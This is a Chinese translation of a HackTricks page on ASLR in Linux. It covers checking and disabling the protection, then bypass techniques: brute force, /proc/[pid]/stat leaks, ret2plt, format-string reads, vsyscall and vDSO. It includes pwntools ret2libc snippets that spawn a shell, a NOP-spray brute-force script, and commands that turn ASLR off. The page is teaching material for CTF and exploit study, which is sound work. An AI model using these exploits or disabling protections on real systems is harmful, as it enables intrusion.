# ASLR

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**地址空间布局随机化（ASLR）是操作系统中使用的一种安全技术，用于随机化系统和应用程序进程使用的内存地址**。通过这样做，它显著增加了攻击者预测特定进程和数据位置（如堆栈、堆和库）的难度，从而减轻了某些类型的利用，特别是缓冲区溢出。

### **检查ASLR状态**

要在Linux系统上**检查**ASLR状态，您可以从\*\*`/proc/sys/kernel/randomize_va_space`\*\*文件中读取值。存储在此文件中的值确定应用的ASLR类型：

* **0**：无随机化。一切都是静态的。
* **1**：保守随机化。共享库、堆栈、mmap()、VDSO页被随机化。
* **2**：完全随机化。除了保守随机化随机化的元素外，通过`brk()`管理的内存也被随机化。

您可以使用以下命令检查ASLR状态：

```bash
cat /proc/sys/kernel/randomize_va_space
```

### **禁用 ASLR**

要**禁用** ASLR，您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。通常不建议在测试或调试场景之外禁用 ASLR。以下是禁用方法：

```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

您还可以通过以下方式禁用执行的ASLR：

```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```

### **启用ASLR**

要**启用**ASLR，您可以将值**2**写入`/proc/sys/kernel/randomize_va_space`文件。通常需要root权限。可以使用以下命令启用完全随机化：

```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

### **跨重启保持**

使用`echo`命令进行的更改是临时的，在重启后将被重置。要使更改持久化，您需要编辑`/etc/sysctl.conf`文件并添加或修改以下行：

```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```

编辑`/etc/sysctl.conf`后，使用以下命令应用更改：

```bash
sudo sysctl -p
```

这将确保您的ASLR设置在重新启动后保持不变。

## **绕过**

### 32位暴力破解

PaX将进程地址空间分为**3组**：

* **代码和数据**（已初始化和未初始化）：`.text`、`.data`和`.bss` —> `delta_exec`变量中的**16位**熵。该变量在每个进程中随机初始化，并添加到初始地址中。
* 由`mmap()`分配的**内存**和**共享库** —> **16位**，名为`delta_mmap`。
* **堆栈** —> **24位**，称为`delta_stack`。但实际上只使用**11位**（从第10到第20字节，包括在内），对齐到**16字节** —> 这导致**524,288个可能的真实堆栈地址**。

上述数据适用于32位系统，降低的最终熵使得可以通过多次尝试执行直到成功完成利用来绕过ASLR。

#### 暴力破解思路：

* 如果您有足够大的溢出空间来容纳**大型NOP滑梯**，您可以在堆栈中暴力破解地址，直到流程**跳过NOP滑梯的某个部分**。
* 另一种选择是，如果溢出空间不够大且利用可以在本地运行，则可以**将NOP滑梯和shellcode添加到环境变量**中。
* 如果利用是本地的，您可以尝试暴力破解libc的基地址（适用于32位系统）：

```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```

* 如果攻击远程服务器，您可以尝试**暴力破解`libc`函数`usleep`的地址**，将10作为参数传递。如果某个时刻**服务器需要额外10秒才能响应**，则找到了该函数的地址。

{% hint style="success" %}
在64位系统中，熵要高得多，这是不可能的。
{% endhint %}

### 64位堆栈暴力破解

可以使用环境变量占用堆栈的大部分空间，然后尝试在本地滥用二进制文件数百/数千次以利用它。\
以下代码显示了如何**仅选择堆栈中的一个地址**，并且每**几百次执行**，该地址将包含**NOP指令**：

```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```

```python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-40d15d70ea7cd2aca50e1cd328bb478b5d5684ae%2Fimage%20(1211).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 本地信息 (`/proc/[pid]/stat`)

进程的文件 **`/proc/[pid]/stat`** 总是可以被所有人读取，其中包含一些有趣的信息，例如：

* **startcode** 和 **endcode**：二进制文件的 **TEXT** 上方和下方的地址
* **startstack**：**栈** 起始地址
* **start\_data** 和 **end\_data**：**BSS** 所在的上方和下方的地址
* **kstkesp** 和 **kstkeip**：当前 **ESP** 和 **EIP** 地址
* **arg\_start** 和 **arg\_end**：**命令行参数** 所在的上方和下方的地址
* **env\_start** 和 **env\_end**：**环境变量** 所在的上方和下方的地址

因此，如果攻击者与被利用的二进制文件在同一台计算机上，并且该二进制文件不期望从原始参数中溢出，而是从一个不同的 **可以在读取此文件后构造的输入** 中溢出，攻击者可以 **从此文件中获取一些地址并为利用构造偏移量**。

{% hint style="success" %}
有关此文件的更多信息，请查看 <https://man7.org/linux/man-pages/man5/proc.5.html> 搜索 `/proc/pid/stat`
{% endhint %}

### 拥有一个泄漏

* **挑战是提供一个泄漏**

如果您获得了一个泄漏（简单的CTF挑战），您可以从中计算偏移量（假设您知道正在利用的系统中使用的确切libc版本）。此示例利用是从 [**此处的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) 中提取的（请查看该页面以获取更多详细信息）：

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
```

* **ret2plt**

利用缓冲区溢出可以利用 **ret2plt** 来窃取来自 libc 的函数地址。查看：

{% content-ref url="aslr/ret2plt" %}
[ret2plt](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt)
{% endcontent-ref %}

* **格式化字符串任意读取**

就像在 ret2plt 中一样，如果通过格式化字符串漏洞具有任意读取权限，则可以从 GOT 中窃取 **libc 函数** 的地址。以下[**示例来自此处**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):

```python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```

您可以在以下位置找到有关格式字符串任意读取的更多信息：

{% content-ref url="../format-strings" %}
[format-strings](https://hacktricks.xsx.tw/binary-exploitation/format-strings)
{% endcontent-ref %}

### Ret2ret & Ret2pop

尝试通过滥用堆栈内部的地址来绕过ASLR：

{% content-ref url="aslr/ret2ret" %}
[ret2ret](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret)
{% endcontent-ref %}

### vsyscall

**`vsyscall`** 机制旨在通过允许在用户空间执行某些系统调用来提高性能，尽管它们从根本上属于内核。 **vsyscalls** 的关键优势在于它们的**固定地址**，不受**ASLR**（地址空间布局随机化）的影响。这种固定性意味着攻击者无需信息泄漏漏洞即可确定其地址并在利用中使用它们。\
然而，在这里不会找到非常有趣的小工具（尽管例如可能获得一个 `ret;` 等效的东西）

（以下示例和代码来自[**此文档**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)）

例如，攻击者可能在利用中使用地址 `0xffffffffff600800`。尝试直接跳转到 `ret` 指令可能会导致在执行几个小工具后不稳定或崩溃，而跳转到由**vsyscall**部分提供的 `syscall` 的开头可能会成功。通过谨慎地放置一个将执行引导到这个**vsyscall**地址的**ROP**小工具，攻击者可以实现代码执行，而无需为利用的这部分绕过**ASLR**。

```
ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

### vDSO

因此请注意，如果内核编译时使用了CONFIG\_COMPAT\_VDSO，可能会通过滥用vdso来**绕过ASLR**，因为vdso地址不会被随机化。欲了解更多信息，请查看：

{% content-ref url="../rop-return-oriented-programing/ret2vdso" %}
[ret2vdso](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2vdso)
{% endcontent-ref %}
